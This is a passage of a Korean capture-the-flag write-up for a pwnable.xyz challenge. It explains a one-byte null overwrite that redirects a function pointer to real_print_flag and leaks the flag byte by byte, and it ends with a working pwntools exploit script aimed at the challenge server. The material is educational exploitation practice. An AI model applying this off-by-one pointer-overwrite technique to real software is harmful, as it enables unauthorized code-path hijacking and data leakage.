그냥 buf에 0x21byte만큼 입력해주는 함수인데 이 부분을 이용해서 무언가를 할 수 있을 것 같지는 않다..
이 함수들 말고 real_print_flag라는 함수도 존재했다.
[real_print_flag]
int real_print_flag()
{
return printf("%s", flag);
}
print_flag가 아니라 real_print_flag!! 여기서 flag를 출력해준다.
real_print_flag함수의 오프셋은 0xb00이고 아까 print_flag에서 do_comment에 넣어줬던 f_do_comment함수의 오프셋은 0xb1f이다. do_comment가 f_do_comment의 주소를 저장하고 있을 때 "1"번 메뉴를 통해 1byte를 널로 덮어주면 f_do_comment의 주소를 real_print_flag의 주소로 바꿔줄 수 있다.
그 후 다시 "3"번 메뉴로 print_flag함수를 실행시키면 (BYTE)do_comment는 0이니까 질문의 대답에 "y"를 하지 않고 넘어가면 real_print_flag를 실행시킬 수 있다.
이런식으로 flag는 출력할 수 있다. 그러면 이제 진짜 flag가 출력될 수 있도록 해야되는데.. key를 전부 0으로 만들어주면 진짜 flag가 출력될 것이다.
만약 key_len에 0을 입력한다면 key의 첫 번째 byte가 0으로 세팅될 것이고 key_len에 1을 입력한다면 key의 두 번째 byte가 0으로 세팅될 것이다. 이렇게해서 쭉 한바이트씩 진짜 flag를 확인해보면 된다.
한번에 하려니까 조금씩 끊기고 한바이트씩 잘못된 부분도 가끔 생긴다. 그래서 앞부분 따로 뒷부분 따로 해주었다.
[payload]
from pwn import *
#context.log_level = 'debug'
r = remote("svc.pwnable.xyz", 30006)
#set do_comment
r.sendlineafter("> ", "3")
r.sendlineafter("? ", "y")
#1byte overflow
r.sendlineafter("> ", "1")
r.sendlineafter(": ", "64")
#find flag
flag = "F"
for i in range(1,33):
#set 0x00
r.sendlineafter("> ", "1")
r.sendlineafter(": ", str(i))
#load flag
r.sendlineafter("> ", "2")
#print flag
r.sendlineafter(">", "3")
r.sendlineafter("? ", "r")
flag += r.recv(64)[i]
print "flag : " + flag